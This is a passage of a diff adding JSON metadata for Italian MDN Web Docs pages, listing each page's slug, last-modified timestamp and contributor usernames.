+    "modified": "2019-01-16T19:06:07.701Z",
+    "contributors": [
+      "wbamberg",
+      "micheleceo",
+      "Sheppy"
+    ]
+  },
+  "MDN/Contribute/Howto/Convert_code_samples_to_be_live": {
+    "modified": "2019-01-16T21:33:55.637Z",
+    "contributors": [
+      "wbamberg",
+      "sginestrini",
+      "plovec",
+      "nicokant"
+    ]
+  },
+  "MDN/Contribute/Howto/Create_an_MDN_account": {
+    "modified": "2019-01-16T19:06:05.374Z",
+    "contributors": [
+      "ladysilvia",
+      "wbamberg",
+      "plovec",
+      "klez"
+    ]
+  },
+  "MDN/Contribute/Howto/Delete_my_profile": {
+    "modified": "2020-10-21T23:15:42.235Z",
+    "contributors": [
+      "FrancescoCoding"
+    ]
+  },
+  "MDN/Contribute/Howto/Do_a_technical_review": {
+    "modified": "2019-01-16T19:16:55.097Z",
+    "contributors": [
+      "wbamberg",
+      "klez"
+    ]
+  },
+  "MDN/Contribute/Howto/Do_an_editorial_review": {
+    "modified": "2019-03-23T23:10:59.000Z",
+    "contributors": [
+      "wbamberg",
+      "mat.campanelli",
+      "Navy60"
+    ]
+  },
+  "MDN/Contribute/Howto/Tag": {
+    "modified": "2020-07-29T06:42:10.343Z",
+    "contributors": [
+      "sara_t",
+      "danielebarell",
+      "wbamberg",
+      "frbi",
+      "digo62.ddp",
+      "Originalsin8"
+    ]
+  },
+  "MDN/Contribute/Howto/impostare_il_riassunto_di_una_pagina": {
+    "modified": "2019-03-23T23:07:02.988Z",
+    "contributors": [
+      "wbamberg",
+      "Enrico12"
+    ]
+  },
+  "MDN/Contribute/Localize": {
+    "modified": "2019-01-16T18:45:24.347Z",
+    "contributors": [
+      "wbamberg",
+      "klez",
+      "Sheppy"
+    ]
+  },
+  "MDN/Contribute/Localize/GuidaItaliano": {
+    "modified": "2019-01-16T19:24:37.678Z",
+    "contributors": [
+      "wbamberg",
+      "klez"
+    ]
+  },
+  "MDN/Contribute/Localize/Translating_pages": {
+    "modified": "2019-12-17T21:17:14.987Z",
+    "contributors": [
+      "wbamberg",
+      "lindakovacs",
+      "andrealeone",
+      "plovec",
+      "Originalsin8",
+      "klez",
+      "nicolo-ribaudo"
+    ]
+  },
+  "MDN/Contribute/Localize/progetti_localizzazione": {
+    "modified": "2019-05-03T00:34:26.550Z",
+    "contributors": [
+      "wbamberg",
+      "demmy"
+    ]
+  },
+  "MDN/Editor": {
+    "modified": "2020-09-30T15:41:34.289Z",
+    "contributors": [
+      "chrisdavidmills",
+      "wbamberg",
+      "klez",
+      "turco"
+    ]
+  },
+  "MDN/Guidelines": {
+    "modified": "2020-09-30T15:30:11.537Z",
+    "contributors": [
+      "chrisdavidmills",
+      "wbamberg",
+      "Sheppy"
+    ]
+  },
+  "MDN/Guidelines/Macros": {
+    "modified": "2020-09-30T15:30:11.714Z",
+    "contributors": [
+      "chrisdavidmills",
+      "wbamberg",
+      "frbi"
+    ]
+  },
+  "MDN/Guidelines/Migliore_pratica": {
+    "modified": "2020-09-30T15:30:11.829Z",
+    "contributors": [
+      "chrisdavidmills",
+      "wbamberg",
+      "Giacomo_"
+    ]
+  },
+  "MDN/Structures": {
+    "modified": "2020-09-30T09:07:10.947Z",
+    "contributors": [
+      "chrisdavidmills",
+      "wbamberg",
+      "jswisher"
+    ]
+  },
+  "MDN/Structures/Tabelle_compatibilità": {
+    "modified": "2020-10-15T22:03:08.289Z",
+    "contributors": [
+      "chrisdavidmills",
+      "wbamberg",
+      "PsCustomObject",
+      "Carlo-Effe"
+    ]
+  },
+  "MDN_at_ten": {
+    "modified": "2019-03-23T22:42:30.395Z",
+    "contributors": [
+      "foto-planner",
+      "Vinsala",
+      "Redsnic",
+      "Lorenzo_FF"
+    ]
+  },
+  "Mozilla": {
+    "modified": "2019-03-23T23:36:49.678Z",
+    "contributors": [
+      "ethertank",
+      "ziyunfei"
+    ]
+  },
+  "Mozilla/Add-ons": {
+    "modified": "2019-09-06T07:54:41.084Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "Joe-VR",
+      "sara_t",
+      "purplewasp"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions": {
+    "modified": "2019-06-09T20:28:21.269Z",
+    "contributors": [
+      "chack1172",
+      "ezabba",
+      "tommaso"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API": {
+    "modified": "2019-11-26T22:19:47.758Z",
+    "contributors": [
+      "wbamberg"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/runtime": {
+    "modified": "2020-10-15T22:09:59.504Z",
+    "contributors": [
+      "wbamberg"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/runtime/connectNative": {
+    "modified": "2020-10-15T22:09:56.225Z",
+    "contributors": [
+      "wbamberg",
+      "mxggithub"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/search": {
+    "modified": "2019-03-18T21:01:55.523Z",
+    "contributors": [
+      "ChristianPredebon"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension": {
+    "modified": "2019-06-07T12:40:53.568Z",
+    "contributors": [
+      "MarcoAGreco"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Cosa_sono_le_WebExtensions": {
+    "modified": "2019-03-18T21:03:03.594Z",
+    "contributors": [
+      "chack1172"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/La_tua_prima_WebExtension": {
+    "modified": "2019-03-18T21:03:00.548Z",
+    "contributors": [
+      "chack1172"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Script_contenuto": {
+    "modified": "2019-06-07T12:34:39.378Z",
+    "contributors": [
+      "MarcoAGreco"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/user_interface": {
+    "modified": "2019-06-07T11:18:06.662Z",
+    "contributors": [
+      "MarcoAGreco"
+    ]
+  },
+  "Mozilla/Developer_guide": {
+    "modified": "2019-03-23T23:26:03.365Z",
+    "contributors": [
+      "chrisdavidmills",
+      "bskari"
+    ]
+  },
+  "Mozilla/Firefox": {
+    "modified": "2019-09-10T14:58:45.333Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "teoli",
+      "klez",
+      "paisa_82",
+      "Prashanth"
+    ]
+  },
+  "Mozilla/Firefox/Funzionalità_sperimentali": {
+    "modified": "2020-07-01T10:55:50.190Z",
+    "contributors": [
+      "Karm46"
+    ]
+  },
+  "Mozilla/Firefox/Releases": {
+    "modified": "2019-03-23T23:26:09.968Z",
+    "contributors": [
+      "wbamberg",
+      "Indil",
+      "ziyunfei"
+    ]
+  },
+  "Mozilla/Firefox/Releases/40": {
+    "modified": "2019-03-23T22:55:04.255Z",
+    "contributors": [
+      "wbamberg",
+      "SphinxKnight",
+      "Indil"
+    ]
+  },
+  "Mozilla/Firefox/Releases/42": {
+    "modified": "2019-08-30T13:56:30.724Z",
+    "contributors": [
+      "duduindo",
+      "wbamberg",
+      "enofx"
+    ]
+  },
+  "Mozilla/Firefox/Releases/59": {
+    "modified": "2019-03-18T21:38:34.697Z",
+    "contributors": [
+      "wbamberg",
+      "Karm46"
+    ]
+  },
+  "Mozilla/Firefox/Releases/64": {
+    "modified": "2019-03-18T21:20:06.425Z",
+    "contributors": [
+      "Spiritoso"
+    ]
+  },
+  "Mozilla/Firefox/Releases/66": {
+    "modified": "2019-04-01T03:50:37.020Z",
+    "contributors": [
+      "rcondor"
+    ]
+  },
+  "Plug-in": {
+    "modified": "2019-03-23T23:42:05.451Z",
+    "contributors": [
+      "teoli",
+      "Samuele",
+      "Gialloporpora"
+    ]
+  },
+  "Python": {
+    "modified": "2019-03-23T23:07:51.453Z",
+    "contributors": [
+      "foto-planner",
+      "domcorvasce"
+    ]
+  },
+  "SVG": {
+    "modified": "2019-03-23T23:44:24.568Z",
+    "contributors": [
+      "sangio90",
+      "teoli",
+      "janvas",
+      "Grino",
+      "ethertank",
+      "Verruckt",
+      "DaViD83",
+      "Federico"
+    ]
+  },
+  "Sviluppo_Web": {
+    "modified": "2019-03-23T23:44:27.263Z",
+    "contributors": [
+      "Leofiore"
+    ]
+  },
+  "Tools": {
+    "modified": "2020-07-16T22:44:15.461Z",
+    "contributors": [
+      "spinaffs",
+      "tGstep",
+      "pietro.pnt",
+      "costacarlo",
+      "SphinxKnight",
+      "tassoman",
+      "music-wedding",
+      "edovio",
+      "Ilprofeta89",
+      "dinoop.p1"
+    ]
+  },
+  "Tools/Add-ons": {
+    "modified": "2020-07-16T22:36:23.403Z",
+    "contributors": [
+      "mfluehr"
+    ]
+  },
+  "Tools/Debugger": {
+    "modified": "2020-07-16T22:35:04.703Z",
+    "contributors": [
+      "jzz21q",
+      "dany1959bo",
+      "MicheleRiva"
+    ]
+  },
+  "Tools/Debugger/How_to": {
+    "modified": "2020-07-16T22:35:07.645Z",
+    "contributors": [
+      "wbamberg"
+    ]
+  },
+  "Tools/Debugger/How_to/Disable_breakpoints": {
+    "modified": "2020-07-16T22:35:11.331Z",
+    "contributors": [
+      "jzz21q"
+    ]
+  },
+  "Tools/Debugger/How_to/Open_the_debugger": {
+    "modified": "2020-07-16T22:35:09.082Z",
+    "contributors": [
+      "jzz21q"
+    ]
+  },
+  "Tools/Debugger/How_to/Set_a_breakpoint": {
+    "modified": "2020-07-16T22:35:10.028Z",
+    "contributors": [
+      "jzz21q"
+    ]
+  },
+  "Tools/Debugger/How_to/Set_a_conditional_breakpoint": {
+    "modified": "2020-07-16T22:35:10.598Z",
+    "contributors": [
+      "jzz21q"
+    ]
+  },
+  "Tools/Debugger/How_to/Step_through_code": {
+    "modified": "2020-07-16T22:35:11.959Z",
+    "contributors": [
+      "jzz21q"
+    ]
+  },
+  "Tools/Page_Inspector": {
+    "modified": "2020-07-16T22:34:28.006Z",
+    "contributors": [
+      "MicheleRiva"
+    ]
+  },
+  "Tools/Prestazioni": {
+    "modified": "2020-07-16T22:36:12.757Z",
+    "contributors": [
+      "Jackerbil"
+    ]
+  },
+  "Tools/Remote_Debugging": {
+    "modified": "2020-07-16T22:35:37.452Z",
+    "contributors": [
+      "Mte90",
+      "BruVe",
+      "crakdelpol",
+      "Grilla",
+      "turco",
+      "Fulvio",
+      "davanzo_m"
+    ]
+  },
+  "Tools/Visualizzazione_Flessibile": {
+    "modified": "2020-07-16T22:35:21.469Z",
+    "contributors": [
+      "tassoman"
+    ]
+  },
+  "Tools/Web_Console": {
+    "modified": "2020-07-16T22:34:06.052Z",
+    "contributors": [
+      "dany1959bo",
+      "pino-grassi"
+    ]
+  },
+  "Tools/Web_Console/Helpers": {
+    "modified": "2020-07-16T22:34:12.129Z",
+    "contributors": [
+      "aki54",
+      "CRONOtime"
+    ]
+  },
+  "Tutorial_sulle_Canvas": {
+    "modified": "2019-03-23T23:52:28.960Z",
+    "contributors": [
+      "Romanzo",
+      "fotografi",
+      "Arset",
+      "teoli",
+      "Mmarco",
+      "Indigo",
+      "Fuma 90"
+    ]
+  },
+  "Web": {
+    "modified": "2020-09-09T03:14:54.712Z",
+    "contributors": [
+      "SphinxKnight",
+      "freddygovoni",
+      "chack1172",
+      "libri-nozze",
+      "Tommaso30",
+      "klez",
+      "Sheppy"
+    ]
+  },
+  "Web/API": {
+    "modified": "2019-03-23T23:26:04.951Z",
+    "contributors": [
+      "ladysilvia",
+      "Giuseppe37",
+      "teoli"
+    ]
+  },
+  "Web/API/CanvasRenderingContext2D": {
+    "modified": "2019-03-23T22:58:10.677Z",
+    "contributors": [
+      "teoli"
+    ]
+  },
+  "Web/API/CanvasRenderingContext2D/canvas": {
+    "modified": "2019-03-23T22:58:14.179Z",
+    "contributors": [
+      "endeios"
+    ]
+  },
+  "Web/API/CanvasRenderingContext2D/fillStyle": {
+    "modified": "2019-03-23T22:43:20.542Z",
+    "contributors": [
+      "Sebastianz",
+      "teoli",
+      "Lucarnosky"
+    ]
+  },
+  "Web/API/CanvasRenderingContext2D/isPointInPath": {
+    "modified": "2019-03-23T22:58:22.259Z",
+    "contributors": [
+      "endeios"
+    ]
+  },
+  "Web/API/CloseEvent": {
+    "modified": "2019-03-23T22:52:56.147Z",
+    "contributors": [
+      "andreacomo"
+    ]
+  },
+  "Web/API/Console": {
+    "modified": "2020-10-15T22:09:09.162Z",
+    "contributors": [
+      "irenesmith"
+    ]
+  },
+  "Web/API/Console/log": {
+    "modified": "2020-10-15T22:28:43.661Z",
+    "contributors": [
+      "michelebergadano",
+      "Mystral"
+    ]
+  },
+  "Web/API/Console/table": {
+    "modified": "2020-10-15T22:09:07.124Z",
+    "contributors": [
+      "ilsergente1993"
+    ]
+  },
+  "Web/API/Crypto": {
+    "modified": "2020-10-15T22:09:57.166Z",
+    "contributors": [
+      "fscholz"
+    ]
+  },
+  "Web/API/Crypto/subtle": {
+    "modified": "2020-10-15T22:09:56.082Z",
+    "contributors": [
+      "mxggithub"
+    ]
+  },
+  "Web/API/DOMString": {
+    "modified": "2019-04-24T13:38:49.925Z",
+    "contributors": [
+      "IsibisiDev",
+      "giacar",
+      "teoli",
+      "brouwer89"
+    ]
+  },
+  "Web/API/DOMTokenList": {
+    "modified": "2020-10-15T22:13:13.631Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/DOMTokenList/item": {
+    "modified": "2020-10-15T22:13:12.227Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/DataTransfer": {
+    "modified": "2019-03-23T22:31:47.478Z",
+    "contributors": [
+      "Sebastianz"
+    ]
+  },
+  "Web/API/DataTransfer/getData": {
+    "modified": "2019-03-23T22:31:46.435Z",
+    "contributors": [
+      "jwhitlock",
+      "Quinta"
+    ]
+  },
+  "Web/API/Document": {
+    "modified": "2019-03-23T23:44:59.920Z",
+    "contributors": [
+      "teoli",
+      "Hasilt",
+      "Federico",
+      "DaViD83"
+    ]
+  },
+  "Web/API/Document/URL": {
+    "modified": "2019-03-23T23:45:00.029Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/anchors": {
+    "modified": "2019-03-23T23:45:10.813Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/applets": {
+    "modified": "2019-03-23T23:45:10.908Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/body": {
+    "modified": "2020-10-15T21:18:28.305Z",
+    "contributors": [
+      "IsibisiDev",
+      "teoli",
+      "Hasilt",
+      "DaViD83"
+    ]
+  },
+  "Web/API/Document/characterSet": {
+    "modified": "2019-03-23T23:45:08.323Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/close": {
+    "modified": "2019-03-23T23:45:10.708Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/createElement": {
+    "modified": "2020-10-15T21:18:00.913Z",
+    "contributors": [
+      "IsibisiDev",
+      "teoli",
+      "khalid32",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/createRange": {
+    "modified": "2019-03-23T23:44:59.391Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/defaultView": {
+    "modified": "2019-03-23T23:46:35.162Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/doctype": {
+    "modified": "2019-03-23T23:44:55.085Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/documentElement": {
+    "modified": "2020-10-15T21:18:12.835Z",
+    "contributors": [
+      "IsibisiDev",
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/firstChild": {
+    "modified": "2019-03-23T23:45:06.385Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/forms": {
+    "modified": "2020-10-15T21:18:07.841Z",
+    "contributors": [
+      "IsibisiDev",
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/getElementById": {
+    "modified": "2020-10-15T21:18:10.220Z",
+    "contributors": [
+      "IsibisiDev",
+      "teoli",
+      "giuscri",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/getElementsByClassName": {
+    "modified": "2020-10-15T22:11:27.446Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/Document/getElementsByName": {
+    "modified": "2020-10-15T21:18:13.142Z",
+    "contributors": [
+      "IsibisiDev",
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/getElementsByTagName": {
+    "modified": "2020-10-15T22:13:34.246Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/Document/head": {
+    "modified": "2020-10-15T22:17:32.293Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/Document/height": {
+    "modified": "2019-03-23T23:45:00.160Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/images": {
+    "modified": "2019-03-23T22:30:23.356Z",
+    "contributors": [
+      "MicheleDomanico"
+    ]
+  },
+  "Web/API/Document/importNode": {
+    "modified": "2019-03-23T23:44:59.500Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/lastModified": {
+    "modified": "2019-03-23T23:44:58.375Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/links": {
+    "modified": "2019-03-23T23:46:56.936Z",
+    "contributors": [
+      "MicheleDomanico",
+      "teoli",
+      "khalid32",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/namespaceURI": {
+    "modified": "2019-03-23T23:45:08.038Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/open": {
+    "modified": "2019-03-23T23:46:30.372Z",
+    "contributors": [
+      "teoli",
+      "Hasilt",
+      "Ruggi",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/querySelector": {
+    "modified": "2020-10-31T12:12:00.361Z",
+    "contributors": [
+      "arj95",
+      "IsibisiDev",
+      "andrea.rizzo"
+    ]
+  },
+  "Web/API/Document/querySelectorAll": {
+    "modified": "2020-10-15T21:34:36.853Z",
+    "contributors": [
+      "IsibisiDev",
+      "Obras"
+    ]
+  },
+  "Web/API/Document/referrer": {
+    "modified": "2019-03-23T23:44:58.474Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/styleSheets": {
+    "modified": "2019-03-23T23:46:31.284Z",
+    "contributors": [
+      "teoli",
+      "khalid32",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/title": {
+    "modified": "2019-03-23T23:44:54.978Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/width": {
+    "modified": "2019-03-23T23:44:55.977Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Document/write": {
+    "modified": "2019-03-23T23:16:28.970Z",
+    "contributors": [
+      "teoli",
+      "khalid32",
+      "Ruggi"
+    ]
+  },
+  "Web/API/Document/writeln": {
+    "modified": "2019-03-18T21:15:27.892Z",
+    "contributors": [
+      "nikiink"
+    ]
+  },
+  "Web/API/Document_Object_Model": {
+    "modified": "2019-03-23T22:07:03.870Z",
+    "contributors": [
+      "SuperBisco"
+    ]
+  },
+  "Web/API/Document_Object_Model/Introduzione": {
+    "modified": "2020-02-23T14:30:00.735Z",
+    "contributors": [
+      "giacomomaccanti"
+    ]
+  },
+  "Web/API/Document_Object_Model/Locating_DOM_elements_using_selectors": {
+    "modified": "2019-03-18T21:19:09.556Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/Element": {
+    "modified": "2020-10-15T21:18:34.829Z",
+    "contributors": [
+      "IsibisiDev",
+      "teoli",
+      "AshfaqHossain",
+      "Joey santiago",
+      "DaViD83"
+    ]
+  },
+  "Web/API/Element/addEventListener": {
+    "modified": "2020-10-15T21:07:44.354Z",
+    "contributors": [
+      "IsibisiDev",
+      "akmur",
+      "gitact",
+      "vindega",
+      "teoli",
+      "khalid32",
+      "loris94",
+      "Samuele",
+      "DaViD83"
+    ]
+  },
+  "Web/API/Element/attributes": {
+    "modified": "2020-10-15T21:18:26.646Z",
+    "contributors": [
+      "IsibisiDev",
+      "teoli",
+      "khalid32",
+      "DaViD83"
+    ]
+  },
+  "Web/API/Element/childNodes": {
+    "modified": "2020-10-15T21:18:25.382Z",
+    "contributors": [
+      "IsibisiDev",
+      "stefanoio",
+      "render93",
+      "teoli",
+      "AshfaqHossain",
+      "DaViD83"
+    ]
+  },
+  "Web/API/Element/classList": {
+    "modified": "2020-10-15T22:08:44.689Z",
+    "contributors": [
+      "IsibisiDev",
+      "dariokf",
+      "LBreda"
+    ]
+  },
+  "Web/API/Element/className": {
+    "modified": "2020-10-15T21:18:25.635Z",
+    "contributors": [
+      "IsibisiDev",
+      "teoli",
+      "khalid32",
+      "DaViD83"
+    ]
+  },
+  "Web/API/Element/clientHeight": {
+    "modified": "2019-03-23T23:41:11.695Z",
+    "contributors": [
+      "teoli",
+      "khalid32",
+      "DaViD83"
+    ]
+  },
+  "Web/API/Element/closest": {
+    "modified": "2020-10-15T22:17:42.551Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/Element/firstChild": {
+    "modified": "2020-10-15T21:18:24.892Z",
+    "contributors": [
+      "IsibisiDev",
+      "wbamberg",
+      "render93",
+      "teoli",
+      "khalid32",
+      "Sheppy",
+      "DaViD83"
+    ]
+  },
+  "Web/API/Element/getAttribute": {
+    "modified": "2020-10-15T22:12:34.368Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/Element/getElementsByTagName": {
+    "modified": "2020-10-15T21:27:28.006Z",
+    "contributors": [
+      "IsibisiDev",
+      "teoli",
+      "AshfaqHossain",
+      "Ruggi"
+    ]
+  },
+  "Web/API/Element/hasAttribute": {
+    "modified": "2020-10-15T22:12:28.393Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/Element/hasAttributes": {
+    "modified": "2019-03-23T23:46:57.445Z",
+    "contributors": [
+      "teoli",
+      "AshfaqHossain",
+      "Federico"
+    ]
+  },
+  "Web/API/Element/innerHTML": {
+    "modified": "2020-10-15T22:10:18.880Z",
+    "contributors": [
+      "IsibisiDev",
+      "SphinxKnight",
+      "Daniele202"
+    ]
+  },
+  "Web/API/Element/insertAdjacentHTML": {
+    "modified": "2020-10-15T21:46:44.431Z",
+    "contributors": [
+      "IsibisiDev",
+      "marcozanghi"
+    ]
+  },
+  "Web/API/Element/nodeName": {
+    "modified": "2020-10-15T21:17:56.733Z",
+    "contributors": [
+      "IsibisiDev",
+      "teoli",
+      "jsx",
+      "AshfaqHossain",
+      "Federico"
+    ]
+  },
+  "Web/API/Element/nodeType": {
+    "modified": "2020-10-15T21:17:56.649Z",
+    "contributors": [
+      "IsibisiDev",
+      "DavideCanton",
+      "teoli",
+      "khalid32",
+      "ethertank",
+      "Federico"
+    ]
+  },
+  "Web/API/Element/nodeValue": {
+    "modified": "2019-03-24T00:13:06.084Z",
+    "contributors": [
+      "teoli",
+      "jsx",
+      "dextra",
+      "Federico"
+    ]
+  },
+  "Web/API/Element/parentNode": {
+    "modified": "2020-10-15T21:17:57.762Z",
+    "contributors": [
+      "IsibisiDev",
+      "teoli",
+      "jsx",
+      "Federico"
+    ]
+  },
+  "Web/API/Element/prefix": {
+    "modified": "2019-03-23T23:47:01.925Z",
+    "contributors": [
+      "teoli",
+      "jsx",
+      "Federico"
+    ]
+  },
+  "Web/API/Element/querySelector": {
+    "modified": "2020-10-15T22:12:29.147Z",
+    "contributors": [
+      "duduindo",
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/Element/querySelectorAll": {
+    "modified": "2020-10-15T22:17:35.796Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/Element/removeAttribute": {
+    "modified": "2020-10-15T21:49:35.746Z",
+    "contributors": [
+      "IsibisiDev",
+      "fbatta"
+    ]
+  },
+  "Web/API/Element/requestFullScreen": {
+    "modified": "2019-03-23T22:30:36.693Z",
+    "contributors": [
+      "lviggiani"
+    ]
+  },
+  "Web/API/Element/scrollHeight": {
+    "modified": "2019-03-18T20:59:00.850Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "Ruggi"
+    ]
+  },
+  "Web/API/Element/scrollTop": {
+    "modified": "2020-10-15T22:01:45.470Z",
+    "contributors": [
+      "IsibisiDev",
+      "NicolaCastellaniTB"
+    ]
+  },
+  "Web/API/Element/setAttribute": {
+    "modified": "2020-10-15T22:12:29.114Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/Element/tagName": {
+    "modified": "2020-10-15T21:58:39.149Z",
+    "contributors": [
+      "IsibisiDev",
+      "Shabunken"
+    ]
+  },
+  "Web/API/Element/textContent": {
+    "modified": "2020-10-15T21:17:56.553Z",
+    "contributors": [
+      "LoSo",
+      "IsibisiDev",
+      "teoli",
+      "khalid32",
+      "Federico"
+    ]
+  },
+  "Web/API/Element/toggleAttribute": {
+    "modified": "2020-10-15T22:14:01.364Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/Event": {
+    "modified": "2019-03-23T23:46:35.054Z",
+    "contributors": [
+      "teoli",
+      "khalid32",
+      "Federico"
+    ]
+  },
+  "Web/API/Event/altKey": {
+    "modified": "2019-03-23T23:46:44.336Z",
+    "contributors": [
+      "teoli",
+      "jsx",
+      "Federico"
+    ]
+  },
+  "Web/API/Event/bubbles": {
+    "modified": "2019-03-23T23:46:36.123Z",
+    "contributors": [
+      "teoli",
+      "xuancanh",
+      "Federico"
+    ]
+  },
+  "Web/API/Event/button": {
+    "modified": "2019-03-23T23:46:37.711Z",
+    "contributors": [
+      "teoli",
+      "khalid32",
+      "Federico"
+    ]
+  },
+  "Web/API/Event/cancelable": {
+    "modified": "2019-03-23T23:46:38.519Z",
+    "contributors": [
+      "teoli",
+      "jsx",
+      "Federico"
+    ]
+  },
+  "Web/API/Event/charCode": {
+    "modified": "2019-03-23T23:46:31.812Z",
+    "contributors": [
+      "teoli",
+      "khalid32",
+      "Federico"
+    ]
+  },
+  "Web/API/Event/ctrlKey": {
+    "modified": "2019-03-23T23:46:43.027Z",
+    "contributors": [
+      "teoli",
+      "khalid32",
+      "Federico"
+    ]
+  },
+  "Web/API/Event/currentTarget": {
+    "modified": "2019-03-23T22:47:05.735Z",
+    "contributors": [
+      "brakko"
+    ]
+  },
+  "Web/API/Event/eventPhase": {
+    "modified": "2019-03-23T23:46:37.898Z",
+    "contributors": [
+      "teoli",
+      "khalid32",
+      "Federico"
+    ]
+  },
+  "Web/API/Event/isChar": {
+    "modified": "2019-03-23T23:46:41.517Z",
+    "contributors": [
+      "teoli",
+      "xuancanh",
+      "Federico"
+    ]
+  },
+  "Web/API/Event/keyCode": {
+    "modified": "2019-03-23T23:46:33.218Z",
+    "contributors": [
+      "teoli",
+      "xuancanh",
+      "Federico"
+    ]
+  },
+  "Web/API/Event/layerX": {
+    "modified": "2019-03-23T23:46:44.079Z",
+    "contributors": [
+      "teoli",
+      "jsx",
+      "Federico"
+    ]
+  },
+  "Web/API/Event/layerY": {
+    "modified": "2019-03-23T23:46:42.670Z",
+    "contributors": [
+      "teoli",
+      "khalid32",
+      "Federico"
+    ]
+  },
+  "Web/API/Event/metaKey": {
+    "modified": "2019-03-23T23:46:45.023Z",
+    "contributors": [
+      "teoli",
+      "khalid32",
+      "Federico"
+    ]
+  },
+  "Web/API/Event/pageX": {
+    "modified": "2019-03-23T23:46:41.625Z",
+    "contributors": [
+      "teoli",
+      "jsx",
+      "Federico"
+    ]
+  },
+  "Web/API/Event/pageY": {
+    "modified": "2019-03-23T23:46:46.107Z",
+    "contributors": [
+      "teoli",
+      "jsx",
+      "Federico"
+    ]
+  },
+  "Web/API/Event/preventDefault": {
+    "modified": "2020-10-15T21:17:58.593Z",
+    "contributors": [
+      "IsibisiDev",
+      "nicecatch",
+      "teoli",
+      "jsx",
+      "Federico"
+    ]
+  },
+  "Web/API/Event/shiftKey": {
+    "modified": "2019-03-23T23:46:40.291Z",
+    "contributors": [
+      "teoli",
+      "jsx",
+      "Federico"
+    ]
+  },
+  "Web/API/Event/stopPropagation": {
+    "modified": "2020-10-15T21:17:59.102Z",
+    "contributors": [
+      "IsibisiDev",
+      "teoli",
+      "khalid32",
+      "willywongi",
+      "Federico"
+    ]
+  },
+  "Web/API/Event/timeStamp": {
+    "modified": "2019-03-23T23:46:36.323Z",
+    "contributors": [
+      "teoli",
+      "khalid32",
+      "Federico"
+    ]
+  },
+  "Web/API/Event/type": {
+    "modified": "2019-03-23T23:46:36.031Z",
+    "contributors": [
+      "teoli",
+      "khalid32",
+      "Federico"
+    ]
+  },
+  "Web/API/Event/view": {
+    "modified": "2019-03-23T23:46:31.176Z",
+    "contributors": [
+      "teoli",
+      "khalid32",
+      "Federico"
+    ]
+  },
+  "Web/API/Event/which": {
+    "modified": "2019-03-23T23:46:32.154Z",
+    "contributors": [
+      "teoli",
+      "jsx",
+      "Federico"
+    ]
+  },
+  "Web/API/Fetch_API": {
+    "modified": "2019-10-28T11:29:11.758Z",
+    "contributors": [
+      "shylockness",
+      "rainst",
+      "AlessandroSanino1994"
+    ]
+  },
+  "Web/API/File": {
+    "modified": "2020-10-15T22:30:43.460Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/File/Using_files_from_web_applications": {
+    "modified": "2020-06-12T08:46:27.721Z",
+    "contributors": [
+      "stefanodorazio70"
+    ]
+  },
+  "Web/API/Geolocation": {
+    "modified": "2019-03-18T21:46:55.204Z",
+    "contributors": [
+      "robertopinotti"
